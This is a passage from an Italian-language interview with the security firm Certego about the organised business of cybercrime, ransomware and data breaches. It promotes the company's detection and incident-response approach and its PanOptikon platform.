eseguire bonifici e trasferimenti di denaro. Abbiamo poi molte evidenze di Data Breach, ovvero di attività di violazione dei dati che tipicamente si sviluppano nel corso di settimane o mesi, durante i quali i sistemi dell’organizzazione attaccata sono scansionati alla ricerca di informazioni sensibili.

Si tratta di un vero e proprio business criminale…
Stiamo osservando un continuo incremento della capacità di monetizzare gli attacchi da parte dei cyber criminali, che sono riusciti a raggiungere un vero e proprio “consolidamento” del proprio business. La loro attività è governata da principi identici a quelli che regolano l’imprenditoria, ci troviamo di fronte a un’economia della criminalità informatica in cui esistono ruoli altamente specializzati. Dietro un attacco raramente c’è un solo individuo, ma più spesso una rete di operatori. C’è chi fornisce il malware, chi lo distribuisce, chi produce il supporto per monetizzare l’attività, chi compra i dati rubati, ecc. Stiamo ormai assistendo ad una progressiva contaminazione della criminalità informatica da parte della criminalità organizzata tradizionale. Il ransomware, ad esempio, è la trasposizione di un crimine tradizionale (il rapimento e la richiesta di un riscatto) in ambito informatico. I criminali che in passato rischiavano la vita con furti e rapine ora si rendono conto che nel cyber spazio possono ottenere guadagni migliori correndo allo stesso tempo meno rischi. Purtroppo, nonostante gli investimenti e gli sforzi delle aziende, i ricavi della criminalità informatica continuano ad aumentare, causando una sorta di paradosso. L’approccio di Certego vuole essere una risposta proprio a questo paradosso.

Come dovrebbero muoversi le aziende e cosa stanno sbagliando?
L’errore più diffuso dalle aziende consiste nell’adottare una strategia di difesa incompleta: il concetto di difesa informatica, soprattutto in Italia, coincide quasi esclusivamente con l’adozione di strumenti di prevenzione come firewall, IPS, sistemi antivirus, etc. il cui scopo principale è quello di bloccare la minaccia. Purtroppo nessuna soluzione tecnologica può garantire una protezione al 100% e quando un attacco riesce a superare i sistemi di prevenzione, l’azienda non ha più strumenti efficaci per rendersi conto di quanto stia effettivamente accadendo. Certego, grazie ai concetti di Rapid Detection & Incident Response, ha una visione più olistica ed è in grado di intervenire sia per limitare le probabilità di attacco, sia per ridurre il danno che ne può derivare.

Cosa fa Certego?
Affianchiamo al concetto di prevenzione di stampo tradizionale quello di Rilevamento (Rapid Detection) e di Capacità di Risposta (Incident Response Coordination), all’interno di un modello che chiamiamo “Adaptive Cyber Defense”. Oltre a cercare di ridurre le probabilità e l’efficacia di un attacco, adottiamo soluzioni tecnologiche in grado di rilevare rapidamente la presenza di anomalie e utilizziamo procedure operative in grado di ridurre gli impatti sul business. Identificare con precisione e rapidità la presenza di un malware che sta iniziando a cifrare il file system di un PC consente ad una organizzazione di intervenire efficacemente, evitando che il danno possa diffondersi a tutta l’azienda. Per questo Certego affianca a soluzioni di prevenzione – che spesso i clienti hanno già implementato – un servizio gestito che si occupa di rilevare la presenza di anomalie ascrivibili ad attacchi informatici e di coordinare insieme al cliente la risposta più efficace per ridurne gli impatti.

In che modo mettete in pratica questa visione?
Abbiamo sviluppato Certego PanOptikon, una piattaforma tecnologica proprietaria in grado di rilevare, analizzare e rispondere efficacemente agli incidenti di sicurezza informatica. Grazie ad una profonda conoscenza delle tecniche, tattiche e procedure di attacco utilizzate dalla criminalità informatica, siamo in grado di rilevarne le tracce nelle organizzazioni nostre clienti e di coordinare le risposte più efficaci per ridurne gli impatti. Spesso non è sufficiente limitarsi a bloccare un attacco. È infatti fondamentale riuscire a darne un contesto preciso, comprendere qual è l’obiettivo dell’attaccante, cosa ha fatto fino a quel momento, quale vulnerabilità abbia sfruttato e qual è sia stata la falla di sicurezza. La piattaforma PanOptikon di Certego è in grado di dare una risposta a tutte queste domande, riducendo in modo significativo gli effetti dell’attacco e consentendo all’organizzazione di adattare continuamente le proprie difese informatiche migliorandone costantemente l’efficacia.

Chi sono i vostri clienti? Ci sono settori più sensibili di altri nell’adottare questo tipo di approccio?
I nostri servizi gestiti non hanno vincoli o prerequisiti particolari e pertanto possiamo operare sia in ambito PMI che su grandi aziende. La Cyber Security non ha un mercato o un settore di riferimento anche se le realtà più mature da questo punto di vista sono quelle che operano all’interno dell’ambiente finanziario e le organizzazioni che gestiscono dati di terze parti. Non dimentichiamo però che sono soprattutto le piccole e medie aziende ad essere il bersaglio degli attacchi informatici e, purtroppo, sono proprio quelle organizzazioni che spesso faticano a comprendere la reale esposizione ai rischi del Cyber Crime.

Leggi l'articolo su Digitalic